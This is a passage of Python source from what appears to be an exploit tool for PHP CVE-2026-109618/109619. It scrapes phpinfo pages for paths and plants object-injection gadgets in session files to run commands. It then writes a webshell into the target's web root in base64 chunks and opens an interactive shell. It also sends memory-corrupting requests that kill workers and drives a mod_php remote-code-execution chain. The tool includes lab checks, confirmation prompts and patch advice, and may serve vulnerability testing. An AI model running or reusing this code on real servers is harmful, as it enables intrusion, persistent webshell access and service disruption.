        if not exe or not os.path.exists(exe):
            continue
        m_port = re.search(r"-S\s+\S+:(\d+)\b", cmd)
        m_root = re.search(r"-t\s+(\"[^\"]+\"|'[^']+'|\S+)", cmd)
        port_ok = bool(m_port and int(m_port.group(1)) == PORT)
        root = m_root.group(1).strip("\"'") if m_root else ""
        root_ok = bool(root and want_root and _norm_path(root) == want_root)
        if port_ok:
            by_port.append((exe, cmd, root))
        elif root_ok:
            by_root.append((exe, cmd, root))

    # A port match beats a document-root match: two lab instances can share a
    # web root, but only one process answers on the target's port.
    for exe, cmd, root in by_port + by_root:
        # Use the same ini the server was started with, or the answer is wrong.
        extra = []
        m = re.search(r"-c\s+(\S+)", cmd)
        if m and os.path.exists(m.group(1)):
            extra = ["-c", m.group(1)]
        try:
            r = subprocess.run([exe] + extra + ["-r", INTEL_PHP],
                               capture_output=True, text=True, timeout=20)
            data = json.loads((r.stdout or "").strip() or "{}")
        except Exception:
            continue
        if not data:
            continue
        data["exe"] = exe
        data["cmdline"] = cmd
        if re.search(r"(?:^|\s)-S\s", cmd):
            data["sapi"] = "cli-server"
        else:
            low = exe.lower()
            if "fpm" in low:
                data["sapi"] = "php-fpm"
            elif "cgi" in low:
                data["sapi"] = "php-cgi"
            else:
                data["sapi"] = "cli"
        if root:
            data["doc_root_cmd"] = root
        return data
    return {}


def read_ini(path):
    """The ini settings we care about, from a php.ini file."""
    out = {}
    try:
        with open(path, encoding="utf-8", errors="replace") as f:
            for line in f:
                line = line.strip()
                if not line or line[0] in ";#":
                    continue
                if "=" not in line:
                    continue
                k, v = line.split("=", 1)
                out[k.strip()] = v.strip().strip('"')
    except OSError:
        pass
    return out


def gather_local_config(webroot=None):
    """
    Everything we can learn about the target from this machine: the PHP it
    runs, where it keeps its sessions, where its document root is, and
    whether the functions we need are disabled.
    """
    info = local_intel(webroot)
    if not info:
        return {}
    cfg = {
        "php": info.get("exe"),
        "ini": info.get("ini"),
        "session_path": info.get("sess") or "",
        "session_name": info.get("sess_name") or "",
        "disable": info.get("disable") or "",
        "open_basedir": info.get("open_basedir") or "",
        "doc_root": info.get("doc_root_cmd") or info.get("doc_root") or "",
        "upload_progress": info.get("upload_progress"),
        "fatal_bt": info.get("fatal_bt"),
        "memory_limit": info.get("memory_limit") or "",
        "post_max": info.get("post_max") or "",
        "sapi": info.get("sapi") or "",
    }
    if cfg["ini"] and os.path.isfile(cfg["ini"]):
        ini = read_ini(cfg["ini"])
        if not cfg["session_path"]:
            cfg["session_path"] = ini.get("session.save_path", "")
        if not cfg["doc_root"]:
            cfg["doc_root"] = ini.get("doc_root", "")
        if not cfg["session_name"]:
            cfg["session_name"] = ini.get("session.name", "PHPSESSID")
    return cfg


def commands_disabled(cfg):
    """Which of the functions the gadget needs are switched off."""
    raw = (cfg.get("disable") or "").lower()
    off = set()
    for name in ("shell_exec", "exec", "system", "passthru", "popen",
                 "proc_open", "shell"):
        if name in raw:
            off.add(name)
    return off


def _ini_on(value):
    return str(value).strip().lower() in ("1", "on", "yes", "true")


def exposure_109619(cfg, version):
    """What can be said about CVE-2026-109619 without exploiting it.

    This is the stale-global-state use-after-free, not the session-file
    object-injection chain in STEP 2.  It needs a producer and a consumer in
    the same worker.  The two documented early consumers are INI diagnostics
    (mainly mod_php .htaccess / php_value) and session upload progress, which
    is on by default and does not need session_start().  Only the version and,
    on a local target, those directives can be checked from here.
    """
    lines = []
    patched = is_patched(version, PHP2SHELL_FIXED)
    if patched is True:
        return ["  109619           : fixed in the reported version"]
    if patched is None:
        lines.append("  109619           : version unknown - cannot judge")
    else:
        lines.append("  109619           : version is affected")
    if not cfg:
        lines.append("  early consumers  : local config not available (remote target)")
    else:
        up = cfg.get("upload_progress")
        if up not in (None, False):
            state = ("On (confirmed consumer)" if _ini_on(up) else "Off")
            lines.append(f"  upload_progress  : {state}")
        bt = cfg.get("fatal_bt")
        if bt not in (None, False):
            state = ("On (confirmed 8.5 producer)" if _ini_on(bt) else "Off")
            lines.append(f"  fatal backtraces : {state}")
        sapi = (cfg.get("sapi") or "").strip()
        if sapi:
            lines.append(f"  SAPI             : {sapi}")
            low = sapi.lower()
            if "apache" in low:
                lines.append("                     mod_php is the confirmed RCE target")
                lines.append("                     (early INI diagnostics + backtraces).")
            elif "fpm" in low:
                lines.append("                     FPM is conditionally exposed: early INI")
                lines.append("                     diagnostics via PHP_VALUE, or an app")
                lines.append("                     producer + fatal + upload-progress consumer.")
            else:
                lines.append("                     this SAPI is not named in the advisory;")
                lines.append("                     no full exploit was demonstrated for it.")
    lines.append("  requirement      : producer and consumer on the SAME worker")
    lines.append("  note             : works without session_start();")
    lines.append("                     NOT the STEP 2 session-file chain")
    return lines


def run_remote(command, cls=None, session_dir=None, sid=None):
    sid = sid or SID
    plant("evil|" + gadget(command, cls or GADGET), sid, session_dir)
    request("GET", "/health.php", cookie=f"{COOKIE}={sid}")
    time.sleep(0.3)


def php_call(code):
    php = php_binary()
    if " " in php:
        return f'for %I in ("{php}") do %~I -r "{code}"'
    return f'{php} -r "{code}"'


def deploy_console(webroot, name=CONSOLE, chunk=1800, cls=None, session_dir=None):
    """Write the webshell into the target's web root using the RCE.

    Each chunk goes to its own part file and is written with a truncating
    open, so a payload that runs twice (the gadget's __destruct fires again
    when the session is written back) overwrites its part instead of
    appending to it. The parts are then joined in order and removed.
    """
    if not webroot:
        return None
    session_name = (COOKIE if re.fullmatch(r"[A-Za-z0-9_-]+", COOKIE or "")
                    else "ACMESESSID")
    source = CONSOLE_PHP.replace("session_name('ACMESESSID')",
                                 f"session_name('{session_name}')")
    b64 = base64.b64encode(source.encode()).decode()
    parts = [b64[k:k + chunk] for k in range(0, len(b64), chunk)]
    part_base = os.path.join(webroot, ".cpart")

    for i, piece in enumerate(parts):
        run_remote(php_call(
            f"file_put_contents('{part_base}{i}',base64_decode('{piece}'),0);"), cls, session_dir)
        time.sleep(0.2)

    out = os.path.join(webroot, name)
    n = len(parts)
    # Join the parts explicitly: glob() mangles backslash patterns on Windows.
    # The count() guard keeps it idempotent - the payload can run twice (the
    # gadget's __destruct fires again when the session is written back), and a
    # second run must not truncate the file it just finished writing.
    join = ("$a=[];for($i=0;$i<" + str(n) + ";$i++){"
            "$f='" + part_base + "'.$i;"
            "if(is_file($f))$a[]=file_get_contents($f);"
            "}"
            "if(count($a)===" + str(n) + "){"
            "file_put_contents('" + out + "',implode('',$a));"
            "for($i=0;$i<" + str(n) + ";$i++){@unlink('" + part_base + "'.$i);}"
            "}")
    run_remote(php_call(join + ";"), cls, session_dir)
    time.sleep(0.3)
    return out


# --------------------------------------------------------------------- discovery

CONFIG_PATHS = ("/status.php", "/health.php", "/phpinfo.php", "/info.php",
                 "/phpinfo", "/server-info", "/server-status", "/?phpinfo=1",
                 "/", "/index.php")


def discover_config():
    """
    Work out where the app keeps its files and its sessions.

    A status page usually says. phpinfo says it too, and phpinfo is on a
    surprising number of real hosts. Returns (docroot, session_save_path);
    either can be None.
    """
    docroot = session_path = None
    for path in CONFIG_PATHS:
        try:
            r = request("GET", path)
        except OSError:
            continue
        b = body_of(r)
        for pat, key in ((r"docroot.{0,60}?([A-Za-z]:[\\/][^\s<>]+)", "docroot"),
                         (r"DOCUMENT_ROOT.{0,120}?([A-Za-z]:[\\/][^\s<>]+)", "docroot"),
                         (r"session_save_path.{0,60}?([A-Za-z]:[\\/][^\s<>]+)", "sess"),
                         (r"session\.save_path.{0,200}?([A-Za-z]:[\\/][^\s<>]+)", "sess")):
            m = re.search(pat, b, re.S)
            if not m:
                continue
            val = m.group(1).strip()
            if key == "docroot" and docroot is None:
                docroot = val
            if key == "sess" and session_path is None:
                session_path = val
        if docroot and session_path:
            break
    if docroot and not os.path.isdir(docroot):
        docroot = None
    if session_path and not os.path.isdir(session_path):
        session_path = None
    return docroot, session_path


def session_dir_candidates(webroot, learned=None):
    """
    Where might the target keep its session files?

    The learned path first, then the usual suspects. The exploit simply
    tries each one and sees which file the app actually opens - no guessing
    required.

    For a REMOTE target the local directories are useless (planting a file on
    this machine does not help the target), so only the path the app
    disclosed is tried. If it disclosed nothing, the object-injection route
    needs filesystem access to the target instead.
    """
    cands = []
    if learned:
        cands.append(learned)
    local = is_local_host()
    if local:
        cands.append(os.path.join(webroot or "", "tmp"))
        cands.append(os.path.join(webroot or "", "sessions"))
        cands.append(os.path.join(webroot or "", "var"))
        cands.append(os.environ.get("TEMP", ""))
        cands.append("/tmp")
    cands.append("/var/lib/php/sessions")
    cands.append("/var/lib/php5/sessions")
    cands.append("/var/lib/php7/sessions")
    out = []
    for c in cands:
        if c and os.path.isdir(c) and c not in out:
            out.append(c)
    return out


def gadget_dirs(webroot):
    """Where an app keeps its classes."""
    if not webroot:
        return []
    return [os.path.join(webroot, d) for d in ("inc", "includes", "src", "lib")
            if os.path.isdir(os.path.join(webroot, d))]


def discover_gadget(candidates=None, webroot=None, sess_dirs=None):
    """
    Find a class the target's autoloader can resolve into a real object.

    The class is planted in the session file, the app is asked to open the
    session, and the answer is looked for in whatever the app prints - so the
    app has to dump its session somewhere.

    Every candidate session directory is tried: the exploit does not have to
    know where the app keeps its sessions, it can see which file the app
    actually opens.
    """
    if candidates is None:
        candidates = []
        for inc in gadget_dirs(webroot):
            for f in sorted(os.listdir(inc)):
                if f.endswith(".php") and f not in ("autoload-prepend.php",
                                                    "bootstrap.php",
                                                    "store.php",
                                                    "layout.php",
                                                    "functions.php",
                                                    "header.php",
                                                    "footer.php"):
                    candidates.append(f[:-4])
        candidates += ["Notifier", "TaskRunner"]

    if sess_dirs is None:
        sess_dirs = [SESSIONS]
    paths = ("/status.php", "/health.php", "/phpinfo.php", "/", "/index.php")

    for sdir in sess_dirs:
        for cls in candidates:
            plant("evil|" + gadget("id", cls), sid=SID, session_dir=sdir)
            for path in paths:
                try:
                    r = request("GET", path, cookie=f"{COOKIE}={SID}")
                except OSError:
                    continue
                if f"{cls} Object" in body_of(r):
                    return cls, sdir
    return None, None


# --------------------------------------------------------------------------- shell

class Shell:
    def __init__(self, url_path, sid=None):
        sid = sid or SID
        self.path, self.sid, self.cwd = url_path, sid, ""
        self.cookie = f"{COOKIE}={sid}"

    def meta(self):
        try:
            r = request("GET", self.path + "?meta=1", cookie=self.cookie)
            j = json.loads(body_of(r))
            self.cwd = j.get("cwd", "")
            return j
        except Exception:
            return {}

    def run(self, cmd):
        r = request("POST", self.path, ("cmd=" + enc(cmd)).encode(),
                    {"Content-Type": "application/x-www-form-urlencoded"},
                    cookie=self.cookie)
        try:
            j = json.loads(body_of(r))
        except Exception:
            return "", self.cwd
        self.cwd = j.get("cwd", self.cwd)
        return j.get("out", "") or j.get("error", ""), self.cwd


def interactive(shell):
    meta = shell.meta()
    print()
    print(c("=" * 72, B))
    print(c(" SHELL  " + meta.get("banner", ""), B))
    print(c("=" * 72, B))
    print("  'exit' to leave, 'help' for hints")
    print()
    while True:
        try:
            line = input(f"  {shell.cwd}$ ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            break
        if not line:
            continue
        low = line.lower()
        if low in ("exit", "quit", ":q"):
            break
        if low == "help":
            print("  exit      leave")
            print("  pwd       working directory")
            print("  cd <dir>  change directory (persists)")
            print("  sysinfo   host, os, php, cwd")
            print()
            continue
        if low == "sysinfo":
            out, _ = shell.run("hostname & whoami & ver")
            print(out)
            continue
        out, _ = shell.run(line)
        if out:
            sys.stdout.write(out if out.endswith("\n") else out + "\n")
        print()


# ------------------------------------------------------------------- 109618 test

def fire(keysize, timeout=60, array_syntax=True):
    """Send the oversized-field-name request.

    array_syntax=True   &<name>[x]=1  -> the vulnerable path. The OOM lands in
                                         the middle of a hash-table insert and
                                         the shutdown cleanup walks a
                                         half-built bucket: memory corruption.
    array_syntax=False  &<name>=1    -> the harmless path. The OOM lands while
                                         the body is being buffered, so the
                                         worker survives. Used to measure the
                                         target's limits without breaking it.
    """
    tail = b"[x]=1" if array_syntax else b"=1"
    body = b"=" + b"A" * 276 + b"&a=1&" + b"Z" * keysize + tail
    raw = (f"POST {PATH} HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
           "Content-Type: application/x-www-form-urlencoded\r\n"
           f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()
    text = ""
    try:
        s = connect(timeout)
        try:
            s.sendall(raw + body)
            while True:
                b = s.recv(65536)
                if not b:
                    break
                text += b.decode("latin-1", "replace")
        except OSError:
            pass
        finally:
            s.close()
    except OSError:
        pass
    return text


def baseline():
    # The flat form is the harmless one: its OOM lands while the body is
    # being copied, never inside the hash-table insert.
    return status_of(fire(1024, array_syntax=False))


def body_cap(base):
    """How big a body does this target accept? None if it will not say.

    The target usually says so itself: PHP prints
    "POST Content-Length of N bytes exceeds the limit of M bytes" when the
    body is too big. An out-of-memory error is NOT a cap - the body was
    accepted - so keep looking.
    """
    for kb in (512, 1024, 2048, 4096, 8192, 16384, 32768, 65536):
        r = fire(kb * 1024, array_syntax=False)
        m = re.search(r"exceeds the limit of (\d+) bytes", r)
        if m:
            return int(m.group(1))
        if r == "":
            print(f"    probing: {kb // 1024} MB -> no response", flush=True)
            return None
        print(f"    probing: {kb // 1024} MB body accepted", flush=True)
    return None


def is_our_lab():
    """Is the target our own lab?

    Only then may the exploit start or stop a server. Somebody else's server
    is never touched - the exploit only sends requests to it.
    """
    if HOST not in ("127.0.0.1", "localhost", "::1"):
        return False
    per_port = os.path.join(ROOT, "runtime", f"php-lab-{PORT}.ini")
    default = os.path.join(ROOT, "runtime", "php-lab.ini")
    if os.path.exists(per_port):
        return True
    return PORT == 8080 and os.path.exists(default)


def fingerprint():
    """The target's PHP version, from the app or from the response headers."""
    for path in ("/health.php", "/status.php", "/"):
        try:
            r = request("GET", path)
        except OSError:
            continue
        m = re.search(r"PHP version.{0,200}?(\d+\.\d+\.\d+)", body_of(r), re.S)
        if m:
            return m.group(1)
        m = re.search(r"X-Powered-By:\s*PHP/(\d+\.\d+\.\d+)", r, re.I)
        if m:
            return m.group(1)
    return "unknown"


def ensure_up():
    """The calibration kills workers on purpose. Make sure one is back.

    If the exploit started the server it can restart it. If the server is
    somebody else's, all we can do is wait for their web server to respawn
    the worker - we must never start a server in its place.
    """
    if alive(timeout=2, retries=2, gap=1.0):
        return True
    if is_our_lab():
        ini = ini_for(WEBROOT, PORT)
        boot(docroot=docroot_of(ini), ini=ini)
        return alive(timeout=3, retries=3, gap=1.0)
    # Not our server: wait for it to come back. Apache and PHP-FPM respawn a
    # worker in well under a second; a development server that is watched by
    # a scheduled task can take a minute.
    for i in range(70):
        time.sleep(1.0)
        if alive(timeout=2, retries=1, gap=0):
            return True
        if i == 9:
            print("  (still waiting - a watchdog on a dev server can take a minute)")
    print("  the target did not come back - nothing is listening on that port now.")
    print("  Start it again and re-run; the exploit will pick up where it left off.")
    return False


def abnormal(keysize, base, array_syntax=True):
    """What happened when we sent this field name?

    The decision is made from the RESPONSE, not from liveness: the error page
    is sent before the worker dies, so a probe that both OOMs and corrupts
    still tells us what we need to know. Liveness is only used to report the
    crash.

    A probe only counts when the target answered immediately before it. If
    the baseline is empty the host was already unreachable, and classifying
    its silence as a crash is exactly the false positive this guard removes.
    """
    reachable = bool(base)
    r = fire(keysize, array_syntax=array_syntax)
    st = status_of(r)
    oom = "Allowed memory size" in r
    truncated = (r == "" or (r.startswith("HTTP/1.") and "\r\n\r\n" not in r))
    server_error = st.startswith("5")
    changed = bool(reachable and st and st != base)
    bad = bool(reachable and (oom or truncated or server_error or changed))
    up = alive(timeout=3, retries=3, gap=1.5)
    crashed = bool(reachable and
                   (truncated or (oom and not up) or (server_error and not up)))
    return {"bad": bad, "oom": oom, "truncated": truncated,
            "dead": not up, "crashed": crashed, "reachable": reachable,
            "text": r}


def calibrate():
    """Find the field-name size at which this target runs out of memory.

    Measured with the HARMLESS form of the request (a flat field name). There
    the OOM lands while the key is being copied, never inside the hash-table
    insert, so the worker survives and every probe is still meaningful. The
    corrupting form is used afterwards, deliberately, by the sweep.

    This matters: a target whose web server cannot respawn workers would
    otherwise be destroyed by the measurement itself.
    """
    base = baseline()
    if not base:
        print("    baseline for an ordinary request: no answer", flush=True)
        print("    the target is unreachable - refusing to probe", flush=True)
        return {"ok": False, "base": base, "limit": None, "threshold": None,
                "cap": None, "unreachable": True}
    print(f"    baseline for an ordinary request: HTTP {base}", flush=True)

    cap = body_cap(base)
    if cap:
        print(f"    request body limit : {cap // (1024*1024)} MB", flush=True)
    elif not alive(timeout=2, retries=2, gap=1.0):
        print("    the target stopped answering while measuring its body limit",
              flush=True)
        return {"ok": False, "base": base, "limit": None, "threshold": None,
                "cap": None, "unreachable": True}

    lo, hi = 128 * 1024, cap or 32 * 1024 * 1024
    while lo <= hi:
        mid = (lo + hi) // 2
        print(f"    probing: {mid // 1024} KB field name", flush=True)
        probe = abnormal(mid, base, array_syntax=False)
        if probe["crashed"]:
            print("    the target died during calibration - aborting", flush=True)
            return {"ok": False, "base": base, "limit": None, "threshold": None,
                    "cap": cap, "unreachable": True}
        if probe["bad"]:
            hi = mid - 65536
        else:
            lo = mid + 65536
    threshold = lo
    if threshold >= (cap or 32 * 1024 * 1024):
        return {"ok": False, "base": base, "limit": None, "threshold": None,
                "cap": cap}

    limit = None
    m = re.search(r"Allowed memory size of (\d+) bytes",
                  abnormal(threshold, base, array_syntax=False)["text"])
    if m:
        limit = int(m.group(1))
    return {"ok": True, "base": base, "limit": limit, "threshold": threshold,
            "cap": cap, "lo": max(64 * 1024, threshold // 4),
            "hi": min(cap or threshold * 2, threshold * 2)}


def sweep(lo, hi, base, steps=16):
    """
    Find the field-name size that actually corrupts memory.

    This one IS destructive on purpose: the array syntax is what reaches the
    vulnerable hash-table insert, and the worker only dies when the
    half-built bucket is walked during shutdown.

    The sizes are sampled densely just above the threshold, because that is
    where the corruption lands - the first copy of the name still fits, the
    second does not.
    """
    if not base:
        return None, []
    span = hi - lo
    fracs = (0.02, 0.05, 0.08, 0.11, 0.14, 0.18, 0.22, 0.27, 0.32, 0.38, 0.45, 0.53, 0.62, 0.72, 0.85, 0.97)
    trials = []
    for f in fracs[:steps]:
        ks = lo + int(span * f)
        print(f"    trying: {ks // 1024} KB field name (array syntax)", flush=True)
        r = abnormal(ks, base, array_syntax=True)
        trials.append((ks, r["oom"], r["crashed"]))
        if r["crashed"]:
            return ks, trials
        if not alive(timeout=1, retries=1, gap=0):
            if not ensure_up():
                break
    return None, trials


# -------------------------------------------------------------------------- modes

def ensure_target():
    """Make sure there is something to attack.

    Only the exploit's own lab is ever started here. Somebody else's server is
    never touched - if it is not running, that is the answer.
    """
    if alive(timeout=2, retries=2, gap=1.0):
        return True
    if is_our_lab():
        ini = ini_for(WEBROOT, PORT)
        boot(docroot=docroot_of(ini), ini=ini)
        return alive(timeout=2, retries=2, gap=1.0)
    return False


def mode_check():
    print()
    print(c("=" * 72, B))
    print(c(" TARGET ASSESSMENT", B))
    print(c("=" * 72, B))

    if not ensure_target():
        print("  target not reachable - nothing to assess.")
        return 2

    version = fingerprint()
    for line in version_report(version):
        print(line)
    verdict = is_patched(version, PHP2SHELL_FIXED)
    if verdict is True:
        print("\n  Nothing to do here.")
        return 0
    local = gather_local_config(WEBROOT_ARG) if is_local_host() else {}
    for line in exposure_109619(local, version):
        print(line)
    if verdict is None and not FORCE:
        print("\n  the version could not be mapped to a branch - refusing to")
        print("  send probes (use --force to run them anyway). Check the version")
        print("  by hand, or add it to PHP2SHELL_FIXED.")
        return 2

    print("\n  calibrating against the target's own limits ...")
    cal = calibrate()
    if not cal["ok"]:
        if cal.get("unreachable"):
            print()
            print("  target stopped answering - assessment aborted.")
            return 2
        cap, limit = cal.get("cap"), cal.get("limit")
        print()
        print("  corruption reachable: NO (urlencoded variant)")
        if cap and limit:
            need = (limit // 5) // 1024
            have = cap // 1024
            print("  reason             : the field name would have to be about")
            print(f"                       {need} KB to exhaust the "
                  f"{limit // (1024*1024)} MB memory limit, but post_max_size")
            print(f"                       only allows {have} KB of body, so this")
            print("                       request shape cannot reach the code path.")
            print()
            print(f"  To make it reachable, lower memory_limit to about "
                  f"{max(8, (cap * 5) // (1024*1024))}M")
            print(f"  (post_max_size can stay at {cap // (1024*1024)}M), or raise")
            print(f"  post_max_size above {need} KB.")
        elif cap:
            print(f"  reason             : the body limit (post_max_size = "
                  f"{cap // (1024*1024)} MB)")
            print("                       is smaller than the memory limit, so this")
            print("                       urlencoded shape cannot reach OOM and the")
            print("                       vulnerable hash-table insert.")
            print()
            print("  The rule for this shape: post_max_size >= memory_limit / 5.")
            print("                       With the stock memory_limit of 128M that")
            print("                       means post_max_size >= 26M. Lowering")
            print(f"                       memory_limit to about "
                  f"{max(8, (cap * 5) // (1024*1024))}M also works.")
        else:
            print("  reason             : the request body limit is smaller than the")
            print("                       memory limit, so this urlencoded shape")
            print("                       cannot reach the vulnerable code path.")
        print()
        print("  This does NOT clear the host: the advisory lists multipart")
        print("  OOM strategies that can stay inside post_max_size.")
        print("  The right fix is to patch: PHP 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35.")
        return 1

    if cal.get("limit"):
        print(f"  memory_limit        : {cal['limit'] // (1024*1024)} MB")
    print(f"  memory threshold    : ~{cal['threshold'] // 1024} KB field name")
    print("  corruption reachable: YES (urlencoded variant)")
    sapi = (local.get("sapi") or "").lower()
    if sapi and "apache" not in sapi and "fpm" not in sapi:
        print(f"  SAPI note           : {local['sapi']} is not a SAPI the advisory")
        print("                        assessed; a crash is the primitive, not RCE.")

    if not DESTRUCTIVE:
        print()
        print("  --check is non-destructive: the worker-killing confirmation")
        print("  was not sent. Add --destructive to run it (one worker dies).")
        return 1

    ks, trials = sweep(cal["lo"], cal["hi"], cal["base"])
    print("\n  key-size sweep (oom = clean error, crash = memory corruption):")
    for k, oom, crash in trials:
        print(f"    {k//1024:>7} KB   oom={str(oom):<5} crash={str(crash):<5}"
              + ("   <-- CORRUPTION" if crash else ""))
    print()
    if ks:
        print(f"  RESULT: crash primitive reproduced. A field name of ~{ks//1024} KB")
        print("          kills the worker. Full RCE needs heap grooming and an")
        print("          address leak; the mod_php chain is available via --rce.")
    else:
        print("  RESULT: the OOM is reachable but the corruption did not land in")
        print("          this sweep. Try more repeats, or a different SAPI/worker.")
    return 0 if ks else 1


def mode_ab():
    """The local A/B this project's own claims rest on.

    Runs the same probes against the bundled vulnerable engine, the bundled
    patched engine, and the fatal-error control. A result is only trusted when
    the control proves the worker survives an ordinary fatal error, so a
    "crash" cannot be explained by the control's failure mode.
    """
    global HOST, PORT, PATH, SCHEME, TLS, SESSIONS

    missing = [p for p in (php_binary("vuln"), php_binary("patched"))
               if not os.path.exists(p)]
    if missing:
        print("  the A/B needs both bundled engines:")
        for p in missing:
            print(f"    missing: {p}")
        return 2

    old = (HOST, PORT, PATH, SCHEME, TLS, SESSIONS)
    results = {}
    control = "-"
    docroot = WEBROOT_ARG or WEBROOT
    try:
        HOST, PATH, SCHEME, TLS = "127.0.0.1", "/health.php", "http", False

        print()
        print(c("=" * 72, B))
        print(" A/B  vulnerable vs patched vs control")
        print(c("=" * 72, B))

        PORT = 18080
        print(f"\n  vulnerable : {php_binary('vuln')}")
        if not boot(engine="vuln", docroot=docroot):
            results["vuln"] = "not reachable"
        else:
            print("    control /boom.php ...", end=" ", flush=True)
            try:
                r = request("GET", "/boom.php")
                fatal = "Fatal error" in r
            except OSError:
                fatal = False
            time.sleep(0.3)
            up = alive(timeout=2, retries=2, gap=0.5)
            control = "PASS" if (fatal and up) else "FAIL"
            print(control)
            print("    calibration ...", flush=True)
            cal = calibrate()
            if not cal["ok"]:
                results["vuln"] = "not reachable"
            else:
                ks, _ = sweep(cal["lo"], cal["hi"], cal["base"], steps=16)
                results["vuln"] = (f"crash at ~{ks // 1024} KB" if ks
                                   else "no crash")
        stop_server()

        PORT = 18081
        print(f"\n  patched    : {php_binary('patched')}")
        if not boot(engine="patched", docroot=docroot):
            results["fixed"] = "not reachable"
        else:
            print("    calibration ...", flush=True)
            cal = calibrate()
            if not cal["ok"]:
                results["fixed"] = "not reachable"
            else:
                ks, _ = sweep(cal["lo"], cal["hi"], cal["base"], steps=16)
                results["fixed"] = (f"crash at ~{ks // 1024} KB" if ks
                                    else "no crash")
    finally:
        stop_server()
        HOST, PORT, PATH, SCHEME, TLS, SESSIONS = old

    print()
    print("  engine     CVE-2026-109618        control")
    print("  " + "-" * 52)
    print(f"  vuln       {results.get('vuln', '?'):<22} {control}")
    print(f"  fixed      {results.get('fixed', '?'):<22} -")
    print()
    expected = (str(results.get("vuln", "")).startswith("crash")
                and results.get("fixed") == "no crash"
                and control == "PASS")
    print("  RESULT:", "A/B PASS" if expected else "A/B FAIL")
    print()
    print("  A crash is the OOM-corruption primitive. These --ab probes do not")
    print("  build the destructor-callback RCE; use --rce for the mod_php chain.")
    print("  The built-in server is not one of the SAPIs named in the advisory")
    print("  (mod_php is confirmed; FPM is susceptible by source analysis, with")
    print("  no complete exploit shown).")
    return 0 if expected else 1


def mode_rce():
    print()
    print(c("=" * 72, B))
    print(" CVE-2026-109618  mod_php full-RCE chain")
    print(c("=" * 72, B))
    print("  This runs the three-stage mod_php chain: heap leak, libphp leak,")
    print("  then a fake Zend HashTable whose destructor is zif_system.")
    print("  It kills workers while rotating them, so keep retries available.")
    print("  Offsets are build-specific; use --zif-offset/--dtor-offset when")
    print("  the target is not the image this profile was measured against.")
    print()
    if not RCE_PROOF and not RCE_FETCH:
        print("  choose a verification method: --proof-file <path> for a file")
        print("  the command writes, or --fetch <url-path> to read command")
        print("  output written under the web root.")
        return 2
    try:
        command_size = len(RCE_CMD.encode("utf-8"))
    except UnicodeEncodeError:
        print("  command cannot be represented as UTF-8.")
        return 2
    if command_size > MODPHP_MAX_CMD:
        print(f"  command is {command_size} bytes; the payload allows at most "
              f"{MODPHP_MAX_CMD} bytes.")
        print("  use a short trigger such as: sh</out/c")
        return 2
    if RCE_PROFILE not in MODPHP_PROFILES:
        print(f"  unknown profile: {RCE_PROFILE}")
        print(f"  choices: {', '.join(sorted(MODPHP_PROFILES))}")
        return 2
    if RCE_PROOF and os.path.exists(RCE_PROOF):
        if not FORCE:
            print(f"  proof file already exists: {RCE_PROOF}")
            print("  use a fresh path or --fetch; --force allows an overwrite")
            return 2
        print(f"  WARNING: reusing existing proof file: {RCE_PROOF}")
    target = ModPhpTarget(HOST, PORT, PATH, use_tls=TLS, timeout=30.0)
    if not ASSUME_YES:
        print(f"  target : {SCHEME}://{HOST}:{PORT}{PATH}")
        print(f"  command: {RCE_CMD}")
        try:
            answer = input("  Run the full RCE chain? [y/N]: ")
        except (EOFError, KeyboardInterrupt):
            print()
            return 1
        if answer.strip().lower() not in ("y", "yes"):
            print("  aborted.")
            return 1
    chain = ModPhpChain(
        target,
        RCE_CMD,
        profile=RCE_PROFILE,
        zif_offset=RCE_ZIF_OFFSET,
        dtor_offset=RCE_DTOR_OFFSET,
        htdata_offset=RCE_HTDATA_OFFSET,
        stage1_n=RCE_STAGE1_N,
        stage2_t=RCE_STAGE2_T,
        stage2_v=RCE_STAGE2_V,
        retries=RCE_RETRIES,
        proof_file=RCE_PROOF,
        fetch_path=RCE_FETCH,
    )
    try:
        ok = chain.run()
    except (OSError, ValueError) as exc:
        print(f"  chain failed: {exc}")
        return 1
    if not ok:
        return 1
    print("[+] full RCE confirmed")
    return 0


def confirm_destructive():
    """Ask before the worker-killing test. --yes answers yes."""
    if ASSUME_YES:
        print("  (--yes: running the destructive test)")
        return True
    print()
    print("  This test sends oversized request bodies and kills one worker.")
    print("  A shell that is open now will stop working until the worker")
    print("  respawns. Nothing has been sent yet.")
    try:
        answer = input("  Run the destructive CVE-2026-109618 test? [y/N]: ")
    except (EOFError, KeyboardInterrupt):
        print()
        return False
    return answer.strip().lower() in ("y", "yes")


def mode_shell():
    global SESSIONS
    print()
    print(c("=" * 72, B))
    print(" STEP 1  fingerprint")
    print(c("=" * 72, B))
    if not alive(timeout=1, retries=1, gap=0) and is_our_lab():
        ini, doc = ini_for(WEBROOT, PORT), docroot_of(ini_for(WEBROOT, PORT))
        boot(docroot=doc, ini=ini)
        print(f"  serving    : {doc}")
    if not alive(timeout=2, retries=2, gap=0):
        print("  target not reachable - nothing to assess.")
        return 2
    version = fingerprint()
    for line in version_report(version):
        print(line)

    cookie, sid = learn_session()
    webroot, sess_path = discover_config()
    if WEBROOT_ARG:
        webroot = WEBROOT_ARG
    if SESSION_DIR_ARG:
        sess_path = SESSION_DIR_ARG

    # If we are on the same machine as the target, ask the target's own PHP
    # where it keeps its sessions and its document root. No flags needed.
    local = gather_local_config(webroot) if is_local_host() else {}
    if local:
        if local.get("session_path"):
            sess_path = sess_path or local["session_path"]
        if not webroot and local.get("doc_root") and os.path.isdir(local["doc_root"]):
            webroot = local["doc_root"]
        off = commands_disabled(local)
        print(f"  target php  : {local.get('php')}")
        if local.get("ini"):
            print(f"  target ini  : {local['ini']}")
        if off:
            print(f"  disabled fns: {', '.join(sorted(off))}")
            if "shell_exec" in off:
                print("                 shell_exec is DISABLED on the target's PHP -")
                print("                 the object-injection route cannot run commands.")

    if sess_path:
        SESSIONS = sess_path
        sessions_known = True
    else:
        sessions_known = False
    print(f"  web root    : {webroot or 'not disclosed by the app'}")
    if sessions_known:
        print(f"  sessions    : {SESSIONS}")
    elif is_local_host():
        print("  sessions    : not disclosed by the target")
        print(f"               (exploit fallback: {SESSIONS})")
    else:
        print("  sessions    : not disclosed by the app")
        print("               the target is remote, so the exploit cannot write")
        print("               into its session directory from here")
    if cookie:
        print(f"  session     : {cookie}={sid}")
    else:
        print("  session     : the app does not use sessions")
        print("               (the STEP 2 chain needs one; the CVE does not)")

    print()
    print(c("=" * 72, B))
    print(" STEP 2  session-file object injection -> console")
